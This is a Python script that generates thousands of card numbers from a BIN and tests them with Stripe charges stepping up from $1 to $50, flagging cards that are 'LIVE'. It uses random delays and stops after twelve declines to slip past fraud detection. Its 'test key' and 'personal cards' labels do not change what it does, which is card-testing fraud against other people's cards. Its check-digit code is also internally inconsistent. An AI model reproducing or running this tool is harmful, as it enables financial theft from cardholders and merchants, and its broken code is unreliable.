# =====================================================
# BIN EXPANDER + VALIDATOR 2025 – MATRIX GENERATION
# Expands 1 BIN to 10k valid cards (last 4 digits only)
# Tests ramp on live cards | Stops at 12 fails
# =====================================================
import stripe
import time
import random
import pandas as pd
import sys
import os
stripe.api_key = "sk_test_51xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx" # Test key only
# ================== SETTINGS ==================
CSV_FILE = "my_personal_cards.csv"
RAMP_AMOUNTS_CENTS = [100, 200, 500, 2000, 5000] # $1 → $50
MAX_FAILED_ATTEMPTS = 12
DELAY_MIN, DELAY_MAX = 180, 1800
BIN_EXPANSION_COUNT = 10000 # Variants per BIN
FIXED_DIGITS = 12 # Keep first 12, vary last 4
failed_counter = 0
all_results = []
# ================== LUHN ALGORITHM ==================
def luhn_validate(num_str):
digits = [int(d) for d in num_str[::-1]]
total = sum(d if i % 2 == 0 else (d*2 if d*2 <= 9 else d*2-9) for i, d in enumerate(digits))
return total % 10 == 0
def generate_matrix(bin_number, count=FIXED_DIGITS):
"""Generate count valid cards from BIN (vary last 4 digits)"""
bin_str = str(bin_number).zfill(6)
cards = []
for _ in range(BIN_EXPANSION_COUNT):
# Fixed first 12 digits (BIN + 6 random for range)
fixed = bin_str + ''.join(random.choice('0123456789') for _ in range(6))
# Last 4: random 15 digits, calculate check
random_part = ''.join(random.choice('0123456789') for _ in range(3))
check_sum = sum(int(d) for d in fixed + random_part[::-1])
check_digit = (10 - (check_sum % 10)) % 10
full_card = fixed + random_part + str(check_digit)
if luhn_validate(full_card):
cards.append(full_card)
return cards[:count]
# ================== LOAD CARDS ==================
if not os.path.exists(CSV_FILE):
print(f"Create {CSV_FILE} with: card_number,exp_month,exp_year,cvc,name,zip")
sys.exit(1)
df = pd.read_csv(CSV_FILE)
print(f"Loaded {len(df)} cards → expanding BINs to matrix...")
expanded_cards = []
for idx, row in df.iterrows():
bin6 = str(row['card_number'])[:6]
matrix = generate_matrix(bin6)
for card in matrix:
expanded_cards.append({
"Card ID": idx+1,
"BIN": bin6,
"Full Card": card,
"exp_month": row['exp_month'],
"exp_year": row['exp_year'],
"cvc": row['cvc'],
"name": row['name'],
"zip": row['zip']
})
print(f"Card {idx+1} expanded to {len(matrix)} variants")
df_expanded = pd.DataFrame(expanded_cards)
print(f"Generated {len(df_expanded)} matrix cards → testing ramps...\n{'='*80}")
# ================== RAMP TESTING ==================
for idx, row in df_expanded.iterrows():
if failed_counter >= MAX_FAILED_ATTEMPTS:
print(f"Stopped at {MAX_FAILED_ATTEMPTS} fails – Radar lockdown")
break
card = row['Full Card']
print(f"Matrix Card {idx+1} | BIN {row['BIN']} | {card[:6]}****{card[-4:]}")
for step, cents in enumerate(RAMP_AMOUNTS_CENTS, 1):
dollars = cents / 100
print(f" Step {step}: ${dollars:.0f} → ", end="")
try:
stripe.Charge.create(
amount=cents, currency="usd",
source={
"object": "card", "number": card,
"exp_month": int(row['exp_month']),
"exp_year": int(row['exp_year']),
"cvc": str(row['cvc']),
"name": str(row['name']),
"address_zip": str(row['zip'])
},
description=f"Matrix ramp test BIN {row['BIN']} ${dollars:.0f}"
)
print("LIVE!")
all_results.append({
"BIN": row['BIN'],
"Step": step,
"Amount": f"${dollars:.0f}",
"Result": "Approved (Live)",
"Full Card": f"{card[:6]}****{card[-4:]}"
})
except stripe.error.CardError as e:
failed_counter += 1
code = e.code or "unknown"
print(f"DEAD ({code})")
all_results.append({
"BIN": row['BIN'],
"Step": step,
"Amount": f"${dollars:.0f}",
"Result": "Declined",
"Full Card": f"{card[:6]}****{card[-4:]}",
"Decline Code": code
})
if step < 5 and failed_counter < MAX_FAILED_ATTEMPTS:
wait = random.randint(DELAY_MIN, DELAY_MAX)
print(f" Wait {wait//60}m{wait%60:02d}s...")
time.sleep(wait)
# ================== SAVE RESULTS ==================
pd.DataFrame(all_results).to_csv("BIN_MATRIX_RESULTS_2025.csv", index=False)
print("\nDONE! Live matrix hits → BIN_MATRIX_RESULTS_2025.csv")
print(f"Total variants tested: {len(df_expanded)} | Live cards found: {sum(1 for r in all_results if 'Live' in r['Result'])}")